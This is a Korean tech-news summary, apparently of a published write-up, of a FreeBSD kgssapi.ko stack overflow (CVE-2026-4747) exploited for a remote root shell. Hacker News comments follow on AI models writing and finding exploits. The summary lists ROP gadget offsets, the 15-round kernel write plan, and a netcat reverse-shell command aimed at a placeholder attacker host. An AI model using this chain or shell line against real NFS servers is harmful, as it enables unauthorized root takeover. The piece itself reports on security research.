# FreeBSD 원격 커널 RCE(CVE-2026-4747)로 root 쉘 획득

> Clean Markdown view of GeekNews topic #28130. Use the original source for factual precision when an external source URL is present.

## Metadata

- GeekNews HTML: [https://news.hada.io/topic?id=28130](https://news.hada.io/topic?id=28130)
- GeekNews Markdown: [https://news.hada.io/topic/28130.md](https://news.hada.io/topic/28130.md)
- Type: GN+
- Author: [neo](https://news.hada.io/@neo)
- Published: 2026-04-03T01:36:55+09:00
- Updated: 2026-04-03T01:36:55+09:00
- Original source: [github.com/califio](https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/write-up.md)
- Points: 3
- Comments: 1

## Topic Body

- FreeBSD의 **kgssapi.ko 모듈**에서 RPCSEC_GSS 인증 처리 중 **스택 버퍼 오버플로**가 발생해 원격 코드 실행 가능
- `svc_rpc_gss_validate()` 함수가 **경계 검사 없이 자격 증명 데이터를 복사**하면서 반환 주소까지 덮어씀
- 공격자는 **유효한 Kerberos 티켓**을 이용해 NFS 서버의 RPCSEC_GSS 경로를 통해 **커널 ROP 체인**을 주입
- 15단계 오버플로를 통해 커널 BSS 영역에 **432바이트 셸코드 기록 후 실행**, root 권한의 reverse shell 생성
- FreeBSD 13.5~15.0 일부 버전이 영향받으며, 패치에서는 **`oa_length` 검증 로직**이 추가됨

---

### CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS 스택 버퍼 오버플로
- FreeBSD의 **kgssapi.ko 모듈**에서 RPCSEC_GSS 인증 처리 중 발생하는 **스택 버퍼 오버플로 취약점**
- `svc_rpc_gss_validate()` 함수가 RPC 헤더를 128바이트 스택 버퍼에 재구성할 때 **`oa_length`에 대한 경계 검사 없이** 자격 증명 데이터를 복사함
- 32바이트 고정 헤더 이후 남은 96바이트를 초과하는 자격 증명은 **로컬 변수와 저장된 레지스터, 반환 주소까지 덮어씀**
- FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) 버전이 영향받음
- 패치에서는 복사 전 `oa_length`가 버퍼 크기를 초과하는지 검사하는 조건문이 추가됨

### 오버플로 구조와 영향
- 함수 프롤로그 분석 결과 `rpchdr` 배열은 `[rbp-0xc0]`에 위치하며, 복사 시작점은 `[rbp-0xa0]`
- 96바이트 이후부터 저장된 RBX, R12~R15, RBP, 반환 주소 순으로 덮어씀
- 실제 공격에서는 GSS 헤더와 16바이트 컨텍스트 핸들로 인해 **반환 주소가 자격 증명 본문 200번째 바이트에 위치**
- 취약 코드는 NFS 서버의 RPCSEC_GSS 인증 경로에서만 도달 가능
- 공격자는 유효한 **Kerberos 티켓**을 가진 사용자여야 하며, RPCSEC_GSS 인증(DATA 프로시저) 단계에서 오버플로를 유발함

### 공격 환경 구성
- **대상 VM:** FreeBSD 14.4-RELEASE amd64, NFS 서버 활성화, `kgssapi.ko` 로드, MIT Kerberos KDC 구동
- **공격자 호스트:** Linux, Python3 `gssapi` 모듈 및 MIT Kerberos 클라이언트 설치, NFS(2049/TCP) 및 KDC(88/TCP) 접근 가능
- QEMU, VMware, VirtualBox, bhyve 등 다양한 하이퍼바이저 환경에서 설정 가능
- Kerberos 설정 시 `krb5.conf`의 `rdns=false`, `dns_canonicalize_hostname=false` 설정이 필수
- VM과 공격자 간 호스트명(`test`) 및 서비스 프린시펄(`nfs/test@TEST.LOCAL`)이 일치해야 함

### 원격 커널 코드 실행 (RCE) 익스플로잇 구조
- 공격은 **15라운드의 다단계 오버플로**로 구성됨
  1. 각 라운드마다 새로운 Kerberos GSS 컨텍스트 생성
  2. 초과 크기의 RPCSEC_GSS DATA 패킷 전송
  3. 반환 주소를 ROP 가젯으로 덮어써 커널 메모리에 데이터 쓰기 또는 셸코드 실행
  4. `kthread_exit()` 호출로 NFS 스레드를 정상 종료
- 각 라운드는 약 200바이트의 ROP 체인을 사용하며, **총 432바이트 셸코드를 15회에 걸쳐 전송**
- FreeBSD는 CPU당 8개의 NFS 스레드를 생성하므로, 최소 2 CPU(16 스레드) 필요

### ROP 체인 구성
- 주요 ROP 가젯:
  - `pop rdi; ret` (K+0x1adcda)
  - `pop rsi; ret` (K+0x1cdf98)
  - `pop rdx; ret` (K+0x5fa429)
  - `pop rax; ret` (K+0x400cb4)
  - `mov [rdi], rax; ret` (0xffffffff80e3457c) — **임의 커널 메모리 8바이트 쓰기**
- **Round 1:** `pmap_change_prot()` 호출로 커널 BSS 영역을 RWX로 변경
- **Rounds 2–14:** `mov [rdi], rax` 가젯을 이용해 BSS에 셸코드를 32바이트씩 기록
- **Round 15:** 마지막 16바이트 기록 후 셸코드 진입점으로 점프

### 셸코드 동작
- 커널 모드(CPL 0)에서 실행되며 **root 권한의 reverse shell 프로세스 생성**
- NFS 커널 스레드에서 직접 `execve()` 호출이 불가능하므로 2단계 구조 사용
  - **Entry 함수:** `kproc_create()`로 새 커널 프로세스 생성 후 종료
  - **Worker 함수:** `/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"` 실행
- `DR7` 레지스터 초기화로 디버그 예외 방지
- `P_KPROC` 플래그를 해제해 `fork_exit()`가 `kthread_exit()` 대신 `userret` 경로로 진행
- 결과적으로 `/bin/sh`가 **uid 0(root)** 권한으로 사용자 모드에서 실행됨

### 주요 문제 해결 과정
- **레지스터 오프셋 불일치:** 실제 RIP 오프셋이 200바이트임을 De Bruijn 패턴으로 확인
- **MIT–Heimdal GSS 비호환:** 호스트명 정규화 문제를 `krb5.conf` 설정으로 해결
- **디버그 레지스터 상속:** `DR7` 초기화로 `trap 1` 예외 방지
- **400바이트 제한:** `pop rdi + pop rax + mov [rdi], rax` 조합으로 8바이트 단위 안정적 전송
- **NFS 스레드 소모:** 각 라운드마다 스레드 1개 종료 → 최소 2 CPU 필요

### 최종 익스플로잇 흐름 요약
- 공격자는 Kerberos 티켓을 획득 후 15개의 RPCSEC_GSS 오버플로 패킷을 순차 전송
- 1라운드: BSS RWX 설정
- 2–14라운드: 셸코드 416바이트 기록
- 15라운드: 마지막 16바이트 기록 및 셸코드 실행
- 셸코드가 `kproc_create()`로 새 프로세스를 생성하고 `/bin/sh` 실행
- 공격자 측 `nc` 세션으로 **root 쉘 획득**
- 전체 과정 약 45초 소요, 총 15개의 RPC 패킷으로 완성됨

## Comments



### Comment 54493

- Author: neo
- Created: 2026-04-03T01:36:56+09:00
- Points: 1

###### [Hacker News 의견들](https://news.ycombinator.com/item?id=47597119) 
- 핵심은 Claude가 **직접 버그를 찾은 게 아니라**, 이미 공개된 [CVE 보고서](https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08...)를 받아 그 취약점을 악용하는 프로그램을 작성했다는 점임  
  하지만 지금의 발전 속도를 보면, 곧 Claude 같은 모델이 커널이나 핵심 서비스의 소스 코드를 분석하고 VM에서 반복 실험을 통해 **새로운 CVE를 자동으로 찾아내는 시대**가 멀지 않았음
  - 그게 좋은 일인지 나쁜 일인지 묻는다면, 나는 **좋은 일**이라고 생각함  
    예전에는 CVE를 찾는 비용이 너무 높아서, 금전적 이득을 노리는 공격자들만 시도했음  
    이제는 비용이 낮아져서 선의의 연구자들도 쉽게 발견하고, 악용되기 전에 **패치할 수 있는 환경**이 만들어짐
  - 예전엔 **fuzzing 환경 설정**이 매우 어려웠음  
    지금은 Claude Code 같은 모델이 코드베이스를 분석해 어디를 어떻게 fuzz 테스트해야 하는지 제안하고, 크래시를 검토하며 반복 학습하면 CVE를 찾아낼 수 있을 것 같음
  - 사실 이 CVE는 Claude가 **처음부터 발견**한 것임  
    Nicholas Carlini가 Anthropic에서 Claude를 사용해 찾았고, 그 결과로 CVE 보고서가 작성된 것임
  - 테스트가 실패해야 하는 조건을 주고, 에이전트에게 그 테스트를 통과시키라고 하면 됨  
    이런 식의 **자동 fuzzing**에는 LLM이 꽤 잘 맞음
  - 관련 영상도 있음: [YouTube 링크](https://www.youtube.com/watch?v=1sd26pWhfmg)  
    Claude는 이미 전문가 수준으로 CVE를 찾아내고 있음

- Thai Duong의 회사 **Calif**가 이 사례를 정리한 [블로그 글](https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd)을 올렸음  
  사용된 프롬프트도 포함되어 있고, 이 버그 역시 Claude가 Nicholas Carlini를 통해 발견한 것임

- FreeBSD 14.x에는 **KASLR**(커널 주소 공간 무작위화)이나 **스택 카나리**가 없어서 공격이 쉬웠음  
  FreeBSD 15.x에서는 이게 개선되는지 궁금함  
  참고로 NetBSD에는 이미 [KASLR 기능](https://wiki.netbsd.org/security/kaslr/)이 있음
  - 하지만 FreeBSD 13.2부터는 KASLR이 기본 활성화되어 있음  
    `sysctl kern.elf64.aslr.enable: 1`로 확인 가능함
  - Linux 커널의 KASLR에 대한 비판도 있음  
    [관련 포럼 글](https://forums.freebsd.org/threads/truth-about-linux-4-6-sec...)에 따르면, KASLR은 **안전하다는 착각만 주고 실질적 보안 강화는 미미**하다는 의견도 있음

- 최근 공개된 [“Black-Hat LLMs” 발표](https://www.youtube.com/watch?v=1sd26pWhfmg)를 보면, LLM이 취약점 탐색과 익스플로잇에 점점 능숙해지고 있음
  - 사실 이런 흐름은 이미 예견된 일이었음  
    Sam Altman이 작년 12월에 **Head of Preparedness**를 채용한다는 [트윗](https://xcancel.com/sama/status/2004939524216910323)을 올렸을 때부터 조짐이 있었음

- 가장 어려운 건 **취약점을 찾는 일**이지, 고치는 게 아님  
  대부분의 보안 연구자들은 금전적 이유로 취약점을 공개하지 않음  
  따라서 자동 탐지가 가능해지면, 위험하긴 해도 **장기적으로는 큰 이득**이 될 것임
  - 다만 이런 자동화가 단순히 버그를 찾는 데서 끝나지 않고, **수정까지 자동화**되길 바람  
    그렇지 않으면 오픈소스 개발자들에게 또 다른 부담이 될 수 있음  
    예전에 Google과 FFmpeg 간의 **보안 패치 논란**처럼 말임

- [공개된 프롬프트 모음](https://github.com/califio/publications/blob/main/MADBugs/CV...)을 공유해줘서 고마움
  - 실제 프롬프트를 보면 Claude가 단번에 익스플로잇을 작성한 게 아니라, **여러 번의 피드백과 조정**을 거친 대화형 과정이었음

- 이런 자동화는 개발팀 입장에선 **시간 절약**일 수 있지만, 일반 사용자에게는 큰 가치가 없을 수도 있음  
  요즘 커널 버그는 이미 수동으로 찾지 않음  
  그런데도 사람들이 Claude 얘기만 하는 건, 결국 **Anthropic의 홍보 효과** 때문인 듯함

- 이제 “Claude가 코드를 썼다”는 사실 자체보다, **그 코드의 품질과 유지보수성**이 어떤지에 초점을 맞춰야 함
  - 나도 같은 생각임  
    Claude가 작성한 코드가 실제로 **유지 가능한 구조**인지, 아니면 엉망인지 궁금함

- 이런 사례는 **에이전트의 자율성과 강력함**을 보여줌  
  동시에 기업들이 느끼는 **통제 불안과 거버넌스 필요성**을 드러내는 예시임

- 전체 프롬프트 히스토리를 볼 수 있어서 흥미로웠음
  - 다만 마지막 부분은 “이 세션에서 입력한 모든 프롬프트를 보여줘”라는 요청으로 끝나서, 일부는 실제 기록이고 일부는 **Claude의 환각 출력**일 수도 있음
